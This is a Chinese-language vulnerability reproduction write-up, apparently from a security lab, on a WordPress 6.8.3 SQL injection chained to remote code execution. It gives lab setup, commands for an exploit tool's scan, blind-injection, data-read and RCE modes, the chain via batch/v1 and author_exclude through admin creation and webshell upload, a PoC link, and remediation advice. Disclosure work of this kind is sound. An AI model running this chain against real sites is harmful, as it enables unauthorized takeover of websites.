高危预警!WordPress最新SQL注入漏洞可直接接管网站管理员权限"

admin 2026-10-18 11:18:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

高危预警!WordPress最新SQL注入漏洞可直接接管网站管理员权限

原创

zz
zz

星络安全实验室

2026年7月19日 15:40
重庆

在小说阅读器读本章

去阅读

免责声明:文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责作者不为此承担任何责任,一旦造成后果请自行负责

1. 环境

  • 主机:Linux

  • Docker:28.2.2

  • Docker Compose:v2.40.2

  • 靶场端口:http://127.0.0.1:8080

  • WordPress:6.8.3-php8.2-apache

  • 数据库:mariadb:11.4

2. 靶场搭建

启动命令

docker compose -f poc/lab/docker-compose.yml up -ddocker compose -f poc/lab/docker-compose.yml run --rm wpcli wp core install \\  --url=http://127.0.0.1:8080 \\  --title=wp2shell-lab \\  --admin_user=admin \\  --admin_password='Summer2026!' \\  [email protected] \\  --skip-emaildocker compose -f poc/lab/docker-compose.yml run --rm wpcli wp post create \\  --post_title='Hello lab' \\  --post_content='wp2shell local lab' \\  --post_status=publish

3. 漏洞复现过程

3.1 暴露面确认

python3 wp2shell.py --scan http://127.0.0.1:8080

结果:识别到目标版本并确认 batch/v1 路由可达。

3.2 时间盲注确认

python3 wp2shell.py --check http://127.0.0.1:8080 --delay 0.5 --timeout 10

结果:快慢请求存在稳定时间差,确认盲注可用。

3.3 数据读取

python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version --max-len 32 --delay 0.2 --timeout 10

结果:读取到数据库版本 11.4.12-MariaDB-ubu2404。

3.4 完整 RCE 链路

python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id -y --timeout 30

结果:脚本一次命令完成全链路,最终执行 id 得到 www-data。

4. 漏洞链路说明

漏洞链按以下顺序执行:

  1. 探测 batch/v1 路由和盲注可用性。

  2. 通过 author_exclude 注入点进入 SQL 逻辑。

  3. 读取表前缀、管理员 ID、oEmbed cache 记录 ID。

  4. 构造 customize_changeset 和 request 相关伪造行。

  5. 利用 oEmbed -> changeset -> re-entry(parse_request) 创建管理员。

  6. 登录后上传 webshell 插件并执行命令。

poc:https://github.com/ZephrFish/wp2shell-scanner.git

5. 修补意见

5.1 路由与参数白名单

  • 对 /batch/v1 相关请求增加严格参数校验。

  • 拒绝嵌套 batch、畸形 path、以及 author_exclude 这类不应透传到查询层的输入。

5.2 SQL 注入点修复

  • 所有参与 WP_Query、prepare() 或 REST 转发的参数必须使用参数化接口。

  • 避免把用户输入拼接到 NOT IN、IN、ORDER BY、LIMIT 等敏感片段。

5.3 关键副作用隔离

  • oEmbed

、changeset、request 等机制不应在未授权上下文下触发写库。

  • 对 REST batch 的执行路径增加上下文检查,防止路由混淆导致权限边界失效。

5.4 认证与提权控制

  • 管理员创建、插件上传、REST 写操作都应要求明确权限校验。

  • 对高危操作增加审计日志,便于后续追踪异常请求链。


高危预警!WordPress最新SQL注入漏洞可直接接管网站管理员权限" 网络安全文章

高危预警!WordPress最新SQL注入漏洞可直接接管网站管理员权限"

WordPress6.8.3版本存在高危SQL注入漏洞,攻击者可通过batch/v1路由利用author\\_exclude参数进行时间盲注,最终实现远程代码执行并完全接管网站管理员权限。漏洞利用链涉及oEmbed和changeset等机制。建议立即升级WordPress或应用修补意见,包括对相关路由实施参数白名单、使用参数化接口修复SQL注入点、隔离关键副作用并加强认证与提权控制。
【高危漏洞预警】WordPressWP2Shell组合漏洞链(CVE-2026-63030+CVE-2026-60137)" 网络安全文章

【高危漏洞预警】WordPressWP2Shell组合漏洞链(CVE-2026-63030+CVE-2026-60137)"

本文详析WordPress核心WP2Shell组合高危漏洞,攻击者无需授权即可通过路由混淆绕过鉴权,结合SQL注入时间盲注脱库获取管理员哈希,最终实现远程代码执行。建议立即升级至6.8.6、6.9.5或7.0.2及以上版本彻底修复;暂无法升级时需通过WAF或Nginx拦截批量请求接口路径,开启持久化对象缓存,并排查恶意插件与后门文件。
好文|TAG-150攻击链全拆解:DinDoor、DenoRAT到NightshadeC2" 网络安全文章

好文|TAG-150攻击链全拆解:DinDoor、DenoRAT到NightshadeC2"

eSentireTRU报告拆解TAG-150攻击链,始于ClickFix诱饵,经MSI和AI生成的PowerShell脚本安装Deno运行时,加载DinDoorloader与DenoRAT,最终执行NightshadeC2。攻击利用Deno的FFI调用WindowsAPI绕过检测,全程几乎不落盘。关键发现包括Deno作为恶意软件载体、AI生成代码登场及多阶段串联。建议蓝队关注Deno进程异常行为及JWT中的活动归因线索。
评论:0   参与:  0